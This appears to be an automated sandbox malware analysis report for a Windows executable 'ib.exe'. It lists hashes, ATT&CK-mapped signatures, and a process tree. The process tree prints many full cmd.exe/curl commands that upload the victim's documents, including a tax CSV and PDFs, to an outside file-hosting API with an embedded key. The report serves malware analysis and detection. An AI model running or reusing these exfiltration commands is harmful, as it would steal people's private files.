a54646f38152d426089d5ea3b346782a0843abcbc6d9245ddd7708ffffc92d6b

Analysis

geolocation tags

eueuropefrfrance
max time kernel
745s
max time network
904s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 12:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ib.exe
Size 3.4MB
Sample261107-p189mads9p
SHA256 a54646f38152d426089d5ea3b346782a0843abcbc6d9245ddd7708ffffc92d6b
MD5 c6b04301f21145595cdc60c185833335
SHA1 f3f4d5325fd97084bdda5ae4a166e384b8299f5c
SHA512 5b7807dfdf2e3c68d7c264830d97bb0794c23ba58dc56e9d8e88431876ae28635b4ee94bfc1c273313938e2ea13fccc84cf907bf0ac9a81f2a9d10f74ad16540
SSDEEP 49152:o6LKY0VvYKDtreEwS+Igtgj6di0cYhk7KGZITMsQKNZo4:ZiV1D+Ltgj6di4UKGuN
TLSH
T1A1F5BF01F6E69673D1B312B005BAF731873DBB1087338A5B2294D65E2CA13D19B7B366
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
639	4752	curl.exe
640	5748	curl.exe
692	3364	curl.exe
705	1104	curl.exe
714	6032	curl.exe
715	200	curl.exe
729	4360	curl.exe
740	3364	curl.exe
769	3908	curl.exe
772	5096	curl.exe
778	2156	curl.exe
779	4728	curl.exe
781	1520	curl.exe
782	1420	curl.exe
784	6052	curl.exe
793	4744	curl.exe
795	760	curl.exe
809	3908	curl.exe
812	264	curl.exe
818	3412	curl.exe
820	5604	curl.exe
832	5316	curl.exe
833	4824	curl.exe
850	3992	curl.exe
873	3416	curl.exe
877	2632	curl.exe
905	4164	curl.exe
930	5036	curl.exe
932	3000	curl.exe
933	2056	curl.exe
941	1348	curl.exe
944	4260	curl.exe
945	1636	curl.exe
955	5612	curl.exe
964	4392	curl.exe
965	5260	curl.exe
976	2592	curl.exe
978	1976	curl.exe
983	3880	curl.exe
992	1108	curl.exe
1007	1492	curl.exe
1017	3068	curl.exe
1019	3980	curl.exe
1030	2064	curl.exe
1031	1208	curl.exe
1033	624	curl.exe
1045	2400	curl.exe
1047	1756	curl.exe
1048	4220	curl.exe
1050	3828	curl.exe
1058	812	curl.exe
1059	3884	curl.exe
1061	4988	curl.exe
1063	4516	curl.exe
1064	4116	curl.exe
1071	2820	curl.exe
1072	3960	curl.exe
1075	5640	curl.exe
1084	6076	curl.exe
1085	2584	curl.exe
1086	2716	curl.exe
1087	4624	curl.exe
1088	4052	curl.exe
1089	3144	curl.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3508	cmd.exe
7452	Process not Found
12144	Process not Found
3656	cmd.exe
6536	Process not Found
12492	Process not Found
10528	Process not Found
5580	cmd.exe
8436	Process not Found
9056	Process not Found
5604	cmd.exe
4792	Process not Found
3004	Process not Found
5528	cmd.exe
6464	Process not Found
9172	Process not Found
10696	Process not Found
11812	Process not Found
2700	cmd.exe
3548	cmd.exe
944	Process not Found
2216	Process not Found
9560	Process not Found
11112	Process not Found
3340	cmd.exe
1104	cmd.exe
3940	cmd.exe
6820	Process not Found
7492	Process not Found
9128	Process not Found
11868	Process not Found
5316	cmd.exe
7740	Process not Found
10224	Process not Found
11760	Process not Found
4760	cmd.exe
7996	Process not Found
4788	cmd.exe
1140	cmd.exe
5412	cmd.exe
11188	Process not Found
4620	cmd.exe
1392	cmd.exe
9224	Process not Found
7640	Process not Found
12168	Process not Found
992	cmd.exe
5304	cmd.exe
8944	Process not Found
11248	Process not Found
11660	Process not Found
11788	Process not Found
3016	cmd.exe
6872	Process not Found
4724	Process not Found
8224	Process not Found
11284	Process not Found
5524	cmd.exe
1160	Process not Found
8348	Process not Found
10168	Process not Found
6084	Process not Found
8180	Process not Found
7408	Process not Found

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7992	Process not Found
5636	cmd.exe
1252	curl.exe
7888	Process not Found

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5380	powershell.exe
5380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5380	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 5380	1984	ib.exe	91
PID 1984 wrote to memory of 4296	1984	ib.exe	93
PID 4296 wrote to memory of 4268	4296	cmd.exe	95
PID 1984 wrote to memory of 1732	1984	ib.exe	97
PID 1732 wrote to memory of 1772	1732	cmd.exe	99
PID 1984 wrote to memory of 3376	1984	ib.exe	100
PID 3376 wrote to memory of 436	3376	cmd.exe	102
PID 1984 wrote to memory of 4844	1984	ib.exe	104
PID 4844 wrote to memory of 4988	4844	cmd.exe	106
PID 1984 wrote to memory of 1792	1984	ib.exe	109
PID 1792 wrote to memory of 3144	1792	cmd.exe	111
PID 1984 wrote to memory of 3104	1984	ib.exe	113
PID 3104 wrote to memory of 4580	3104	cmd.exe	115
PID 1984 wrote to memory of 3160	1984	ib.exe	117
PID 3160 wrote to memory of 5820	3160	cmd.exe	119
PID 1984 wrote to memory of 2720	1984	ib.exe	121
PID 2720 wrote to memory of 5796	2720	cmd.exe	123
PID 1984 wrote to memory of 4848	1984	ib.exe	125
PID 4848 wrote to memory of 2888	4848	cmd.exe	127
PID 1984 wrote to memory of 1720	1984	ib.exe	129
PID 1720 wrote to memory of 1304	1720	cmd.exe	131
PID 1984 wrote to memory of 5696	1984	ib.exe	133
PID 5696 wrote to memory of 3368	5696	cmd.exe	135
PID 1984 wrote to memory of 5852	1984	ib.exe	137
PID 5852 wrote to memory of 5544	5852	cmd.exe	139
PID 1984 wrote to memory of 108	1984	ib.exe	141
PID 108 wrote to memory of 4020	108	cmd.exe	143
PID 1984 wrote to memory of 3508	1984	ib.exe	145
PID 3508 wrote to memory of 812	3508	cmd.exe	147
PID 1984 wrote to memory of 4252	1984	ib.exe	149
PID 4252 wrote to memory of 3424	4252	cmd.exe	151
PID 1984 wrote to memory of 4628	1984	ib.exe	153
PID 4628 wrote to memory of 2348	4628	cmd.exe	155
PID 1984 wrote to memory of 4912	1984	ib.exe	157
PID 4912 wrote to memory of 1904	4912	cmd.exe	159
PID 1984 wrote to memory of 3968	1984	ib.exe	161
PID 3968 wrote to memory of 5244	3968	cmd.exe	163
PID 1984 wrote to memory of 1764	1984	ib.exe	165
PID 1764 wrote to memory of 436	1764	cmd.exe	167
PID 1984 wrote to memory of 2656	1984	ib.exe	169
PID 2656 wrote to memory of 3204	2656	cmd.exe	171
PID 1984 wrote to memory of 4152	1984	ib.exe	173
PID 4152 wrote to memory of 5556	4152	cmd.exe	175
PID 1984 wrote to memory of 4060	1984	ib.exe	177
PID 4060 wrote to memory of 4884	4060	cmd.exe	179
PID 1984 wrote to memory of 2648	1984	ib.exe	181
PID 2648 wrote to memory of 5916	2648	cmd.exe	183
PID 1984 wrote to memory of 6064	1984	ib.exe	185
PID 6064 wrote to memory of 2368	6064	cmd.exe	187
PID 1984 wrote to memory of 5636	1984	ib.exe	190
PID 5636 wrote to memory of 1252	5636	cmd.exe	192
PID 1984 wrote to memory of 3964	1984	ib.exe	193
PID 3964 wrote to memory of 2652	3964	cmd.exe	195
PID 1984 wrote to memory of 3720	1984	ib.exe	196
PID 3720 wrote to memory of 2612	3720	cmd.exe	198
PID 1984 wrote to memory of 2572	1984	ib.exe	199
PID 2572 wrote to memory of 5532	2572	cmd.exe	201
PID 1984 wrote to memory of 4016	1984	ib.exe	202
PID 4016 wrote to memory of 5712	4016	cmd.exe	204
PID 1984 wrote to memory of 5404	1984	ib.exe	205
PID 5404 wrote to memory of 3540	5404	cmd.exe	207
PID 1984 wrote to memory of 5580	1984	ib.exe	208
PID 5580 wrote to memory of 5496	5580	cmd.exe	210
PID 1984 wrote to memory of 3464	1984	ib.exe	211

cURL User-Agent 64 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	300	curl/8.8.0
HTTP User-Agent header	492	curl/8.8.0
HTTP User-Agent header	1077	curl/8.8.0
HTTP User-Agent header	1211	curl/8.8.0
HTTP User-Agent header	1606	curl/8.8.0
HTTP User-Agent header	2275	curl/8.8.0
HTTP User-Agent header	3212	curl/8.8.0
HTTP User-Agent header	3342	curl/8.8.0
HTTP User-Agent header	214	curl/8.8.0
HTTP User-Agent header	311	curl/8.8.0
HTTP User-Agent header	584	curl/8.8.0
HTTP User-Agent header	1742	curl/8.8.0
HTTP User-Agent header	2191	curl/8.8.0
HTTP User-Agent header	2713	curl/8.8.0
HTTP User-Agent header	3232	curl/8.8.0
HTTP User-Agent header	1051	curl/8.8.0
HTTP User-Agent header	1377	curl/8.8.0
HTTP User-Agent header	1887	curl/8.8.0
HTTP User-Agent header	3239	curl/8.8.0
HTTP User-Agent header	3255	curl/8.8.0
HTTP User-Agent header	758	curl/8.8.0
HTTP User-Agent header	765	curl/8.8.0
HTTP User-Agent header	860	curl/8.8.0
HTTP User-Agent header	2301	curl/8.8.0
HTTP User-Agent header	2906	curl/8.8.0
HTTP User-Agent header	2973	curl/8.8.0
HTTP User-Agent header	112	curl/8.8.0
HTTP User-Agent header	1543	curl/8.8.0
HTTP User-Agent header	1662	curl/8.8.0
HTTP User-Agent header	2510	curl/8.8.0
HTTP User-Agent header	2789	curl/8.8.0
HTTP User-Agent header	3101	curl/8.8.0
HTTP User-Agent header	3205	curl/8.8.0
HTTP User-Agent header	314	curl/8.8.0
HTTP User-Agent header	558	curl/8.8.0
HTTP User-Agent header	1021	curl/8.8.0
HTTP User-Agent header	1328	curl/8.8.0
HTTP User-Agent header	1395	curl/8.8.0
HTTP User-Agent header	1422	curl/8.8.0
HTTP User-Agent header	1860	curl/8.8.0
HTTP User-Agent header	2641	curl/8.8.0
HTTP User-Agent header	442	curl/8.8.0
HTTP User-Agent header	766	curl/8.8.0
HTTP User-Agent header	779	curl/8.8.0
HTTP User-Agent header	877	curl/8.8.0
HTTP User-Agent header	994	curl/8.8.0
HTTP User-Agent header	1009	curl/8.8.0
HTTP User-Agent header	2178	curl/8.8.0
HTTP User-Agent header	2737	curl/8.8.0
HTTP User-Agent header	1834	curl/8.8.0
HTTP User-Agent header	2060	curl/8.8.0
HTTP User-Agent header	2327	curl/8.8.0
HTTP User-Agent header	2690	curl/8.8.0
HTTP User-Agent header	3036	curl/8.8.0
HTTP User-Agent header	3113	curl/8.8.0
HTTP User-Agent header	3305	curl/8.8.0
HTTP User-Agent header	3367	curl/8.8.0
HTTP User-Agent header	603	curl/8.8.0
HTTP User-Agent header	1044	curl/8.8.0
HTTP User-Agent header	1212	curl/8.8.0
HTTP User-Agent header	1406	curl/8.8.0
HTTP User-Agent header	2264	curl/8.8.0
HTTP User-Agent header	3003	curl/8.8.0
HTTP User-Agent header	3088	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\ib.exe
"C:\Users\Admin\AppData\Local\Temp\ib.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" $env:SystemRoot
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Downloads\DenyCheckpoint.pptx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Downloads-DenyCheckpoint.pptx-07-11-2026--13.51.19.pptx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Downloads\DenyCheckpoint.pptx" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Downloads-DenyCheckpoint.pptx-07-11-2026--13.51.19.pptx
    3⤵
    PID:4268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\mytaxes.csv" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-mytaxes.csv-07-11-2026--13.51.26.csv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Desktop\mytaxes.csv" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Desktop-mytaxes.csv-07-11-2026--13.51.26.csv
    3⤵
    PID:1772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf-07-11-2026--13.51.31.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf-07-11-2026--13.51.31.pdf
    3⤵
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-Click on 'Change' to select default PDF handler.pdf-07-11-2026--13.51.36.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-Click on 'Change' to select default PDF handler.pdf-07-11-2026--13.51.36.pdf
    3⤵
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-PDFSigQFormalRep.pdf-07-11-2026--13.51.59.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-PDFSigQFormalRep.pdf-07-11-2026--13.51.59.pdf
    3⤵
    PID:3144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-Welcome.pdf-07-11-2026--13.52.05.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-Welcome.pdf-07-11-2026--13.52.05.pdf
    3⤵
    PID:4580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Resource-ENUtxt.pdf-07-11-2026--13.52.10.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Resource-ENUtxt.pdf-07-11-2026--13.52.10.pdf
    3⤵
    PID:5820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-IDTemplates-ENU-AdobeID.pdf-07-11-2026--13.52.16.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-IDTemplates-ENU-AdobeID.pdf-07-11-2026--13.52.16.pdf
    3⤵
    PID:5796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-IDTemplates-ENU-DefaultID.pdf-07-11-2026--13.52.21.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-IDTemplates-ENU-DefaultID.pdf-07-11-2026--13.52.21.pdf
    3⤵
    PID:2888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-Words.pdf-07-11-2026--13.52.27.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-Words.pdf-07-11-2026--13.52.27.pdf
    3⤵
    PID:1304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-Dynamic.pdf-07-11-2026--13.52.32.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-Dynamic.pdf-07-11-2026--13.52.32.pdf
    3⤵
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-SignHere.pdf-07-11-2026--13.52.38.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5852
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-SignHere.pdf-07-11-2026--13.52.38.pdf
    3⤵
    PID:5544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Adobe-Acrobat Reader DC-Reader-plug_ins-Annotations-Stamps-ENU-StandardBusiness.pdf-07-11-2026--13.52.43.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:108
- - C:\Windows\SysWOW64\curl.exe
